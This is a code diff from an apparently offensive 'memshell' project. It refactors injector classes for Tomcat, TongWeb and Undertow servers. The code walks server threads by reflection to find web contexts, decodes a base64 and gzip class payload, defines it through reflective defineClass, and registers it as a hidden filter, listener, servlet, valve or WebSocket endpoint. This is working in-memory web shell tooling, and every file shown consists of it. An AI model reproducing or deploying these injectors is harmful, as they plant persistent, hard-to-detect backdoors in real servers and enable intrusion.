+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-            else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-                context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
-                if (context != null && context.getClass().getName().contains("StandardContext")) {
-                    contexts.add(context);
-                }
-                if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                    contexts.add(context);
-                }
             }
         }
         return contexts;
@@ -88,21 +68,19 @@ public class TomcatListenerInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -157,7 +135,6 @@ public class TomcatListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -165,16 +142,13 @@ public class TomcatListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java

@@ -43,42 +43,22 @@ public class TomcatServletInjector {
         return "{{urlPattern}}";
     }
 
-    @SuppressWarnings("all")
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
-        Object context = null;
         for (Thread thread : threads) {
-            // 适配 v5/v6/7/8
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-            if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
-                // 原: map.get("localhost")
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object context : children.values()) {
-                for (Object key : childrenMap.keySet()) {
-                    HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children");
-                    // 原: context = children.get("");
-                    // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
-                    for (Object key1 : children.keySet()) {
-                        context = children.get(key1);
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
-                            contexts.add(context);
-                        }
-                        // 兼容 spring boot 2.x embedded tomcat
-                        if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                         contexts.add(context);
                     }
                 }
-                }
+            } else if (thread.getContextClassLoader() != null
-            }
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-            // 适配 tomcat v9
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-            else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-                context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
-                if (context != null && context.getClass().getName().contains("StandardContext")) {
-                    contexts.add(context);
-                }
-                if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                    contexts.add(context);
-                }
             }
         }
         return contexts;
@@ -86,21 +66,19 @@ public class TomcatServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -203,7 +181,6 @@ public class TomcatServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -211,16 +188,13 @@ public class TomcatServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java

@@ -47,42 +47,22 @@ public class TomcatValveInjector {
         return "{{base64Str}}";
     }
 
-    @SuppressWarnings("all")
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
-        Object context = null;
         for (Thread thread : threads) {
-            // 适配 v5/v6/7/8
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-            if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
-                // 原: map.get("localhost")
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object context : children.values()) {
-                for (Object key : childrenMap.keySet()) {
-                    HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children");
-                    // 原: context = children.get("");
-                    // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
-                    for (Object key1 : children.keySet()) {
-                        context = children.get(key1);
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
-                            contexts.add(context);
-                        }
-                        // 兼容 spring boot 2.x embedded tomcat
-                        if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                         contexts.add(context);
                     }
                 }
-                }
+            } else if (thread.getContextClassLoader() != null
-            }
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-            // 适配 tomcat v9
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-            else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-                context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
-                if (context != null && context.getClass().getName().contains("StandardContext")) {
-                    contexts.add(context);
-                }
-                if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                    contexts.add(context);
-                }
             }
         }
         return contexts;
@@ -90,18 +70,16 @@ public class TomcatValveInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = context.getClass().getClassLoader();
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -111,12 +89,9 @@ public class TomcatValveInjector {
             System.out.println("valve already injected");
             return;
         }
-        try {
         Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
         invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
-        } catch (Exception e) {
+        System.out.println("valve injected successfully");
-            e.printStackTrace();
-        }
     }
 
     @SuppressWarnings("all")
@@ -149,7 +124,6 @@ public class TomcatValveInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -157,16 +131,13 @@ public class TomcatValveInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatWebSocketInjector.java

@@ -49,39 +49,20 @@ public class TomcatWebSocketInjector {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
-        Object context = null;
         for (Thread thread : threads) {
-            // 适配 v5/v6/7/8
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-            if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
                 HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                // 原: map.get("localhost")
+                for (Object value : childrenMap.values()) {
-                // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                for (Object key : childrenMap.keySet()) {
+                    for (Object context : children.values()) {
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
-                    // 原: context = children.get("");
-                    // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
-                    for (Object key1 : children.keySet()) {
-                        context = children.get(key1);
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
-                            contexts.add(context);
-                        }
-                        // 兼容 spring boot 2.x embedded tomcat
-                        if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                         contexts.add(context);
                     }
                 }
-                }
+            } else if (thread.getContextClassLoader() != null
-            }
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-            // 适配 tomcat v9
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-            else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-                context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
-                if (context != null && context.getClass().getName().contains("StandardContext")) {
-                    contexts.add(context);
-                }
-                if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                    contexts.add(context);
-                }
             }
         }
         return contexts;
@@ -89,21 +70,19 @@ public class TomcatWebSocketInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
 
@@ -146,7 +125,6 @@ public class TomcatWebSocketInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -154,16 +132,13 @@ public class TomcatWebSocketInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
 

memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java

@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
 import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
@@ -49,39 +46,34 @@ public class TongWebFilterInjector {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
-        Object context = null;
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = context.getClass().getClassLoader();
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -136,7 +128,6 @@ public class TongWebFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -144,16 +135,13 @@ public class TongWebFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebListenerInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,49 +39,49 @@ public class TongWebListenerInjector {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
-        Object context = null;
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
     public void inject(Object context, Object listener) throws Exception {
-        if (isInjected(context)) {
+        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
+        List listeners = Arrays.asList(objects);
+        for (Object o : listeners) {
+            if (o.getClass().getName().contains(getClassName())) {
+                System.out.println("listener already injected");
                 return;
             }
+        }
         Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects");
         if (applicationEventListenersObjects != null) {
             Object[] appListeners = (Object[]) applicationEventListenersObjects;
@@ -101,20 +98,6 @@ public class TongWebListenerInjector {
         }
     }
 
-    @SuppressWarnings("all")
-    public boolean isInjected(Object context) throws Exception {
-        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
-        List listeners = Arrays.asList(objects);
-        ArrayList arrayList = new ArrayList(listeners);
-        for (Object o : arrayList) {
-            if (o.getClass().getName().contains(getClassName())) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-
     @SuppressWarnings("all")
     public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
@@ -132,7 +115,6 @@ public class TongWebListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -140,16 +122,13 @@ public class TongWebListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebValveInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,50 +39,46 @@ public class TongWebValveInjector {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
-        Object context = null;
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        ClassLoader classLoader = context.getClass().getClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
     public void inject(Object context, Object valve) throws Exception {
         Object pipeline = invokeMethod(context, "getPipeline", null, null);
-        System.out.println(pipeline.getClass().getName());
         if (isInjected(pipeline)) {
             System.out.println("valve already injected");
             return;
         }
-        try {
         Class valveClass = null;
         try {
             // tongweb7
@@ -95,9 +88,7 @@ public class TongWebValveInjector {
             valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.web.thor.Valve");
         }
         invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
-        } catch (Exception e) {
+        System.out.println("valve injected successfully");
-            e.printStackTrace();
-        }
     }
 
     @SuppressWarnings("all")
@@ -130,7 +121,6 @@ public class TongWebValveInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -138,16 +128,13 @@ public class TongWebValveInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java

@@ -65,21 +65,19 @@ public class UndertowFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public void inject(Object context, Object filter) throws Exception {
@@ -130,7 +128,6 @@ public class UndertowFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -138,16 +135,13 @@ public class UndertowFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowListenerInjector.java

@@ -55,27 +55,22 @@ public class UndertowListenerInjector {
         return contexts;
     }
 
-    private Object getShell(Object context) {
+    @SuppressWarnings("all")
-        Object listener = null;
+    private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            listener = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
-            try {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                listener = clazz.newInstance();
+            return clazz.newInstance();
-            } catch (Throwable ee) {
-                ee.printStackTrace();
         }
     }
-        return listener;
-    }
 
     public void inject(Object context, Object listener) throws Exception {
         if (isInjected(context)) {
@@ -123,7 +118,6 @@ public class UndertowListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -131,16 +125,13 @@ public class UndertowListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowServletInjector.java

@@ -61,21 +61,19 @@ public class UndertowServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
